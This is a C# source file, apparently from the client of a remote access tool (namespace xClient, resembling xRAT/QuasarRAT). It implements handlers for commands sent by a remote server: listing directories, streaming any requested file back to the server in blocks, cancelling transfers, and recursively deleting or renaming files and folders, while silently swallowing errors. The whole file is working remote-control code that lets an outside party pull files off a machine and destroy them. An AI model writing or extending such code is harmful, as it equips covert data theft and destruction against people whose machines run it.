using System; using System.IO; using System.Threading; using xClient.Core.Helper; using xClient.Core.Networking; namespace xClient.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */ public static partial class CommandHandler { public static void HandleGetDirectory(Packets.ServerPackets.GetDirectory command, Client client) { try { DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); FileInfo[] iFiles = dicInfo.GetFiles(); DirectoryInfo[] iFolders = dicInfo.GetDirectories(); string[] files = new string[iFiles.Length]; long[] filessize = new long[iFiles.Length]; string[] folders = new string[iFolders.Length]; int i = 0; foreach (FileInfo file in iFiles) { files[i] = file.Name; filessize[i] = file.Length; i++; } if (files.Length == 0) { files = new string[] { DELIMITER }; filessize = new long[] { 0 }; } i = 0; foreach (DirectoryInfo folder in iFolders) { folders[i] = folder.Name; i++; } if (folders.Length == 0) folders = new string[] { DELIMITER }; new Packets.ClientPackets.GetDirectoryResponse(files, folders, filessize).Execute(client); } catch { new Packets.ClientPackets.GetDirectoryResponse(new string[] { DELIMITER }, new string[] { DELIMITER }, new long[] { 0 }).Execute(client); } } public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client) { new Thread(() => { try { FileSplit srcFile = new FileSplit(command.RemotePath); if (srcFile.MaxBlocks < 0) new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, srcFile.LastError).Execute(client); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (!client.Connected) return; if (_canceledDownloads.ContainsKey(command.ID)) return; byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError).Execute(client); //Thread.Sleep(200); } else new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, srcFile.LastError).Execute(client); } } catch (Exception ex) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message) .Execute(client); } }).Start(); } public static void HandleDoDownloadFileCancel(Packets.ServerPackets.DoDownloadFileCancel command, Client client) { if (!_canceledDownloads.ContainsKey(command.ID)) { _canceledDownloads.Add(command.ID, "canceled"); new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, "Canceled").Execute(client); } } public static void HandleDoPathDelete(Packets.ServerPackets.DoPathDelete command, Client client) { try { if (command.IsDirectory) Directory.Delete(command.Path, true); else File.Delete(command.Path); HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.Path)), client); } catch { } } public static void HandleDoPathRename(Packets.ServerPackets.DoPathRename command, Client client) { try { if (command.IsDirectory) Directory.Move(command.Path, command.NewPath); else File.Move(command.Path, command.NewPath); HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.NewPath)), client); } catch { } } } }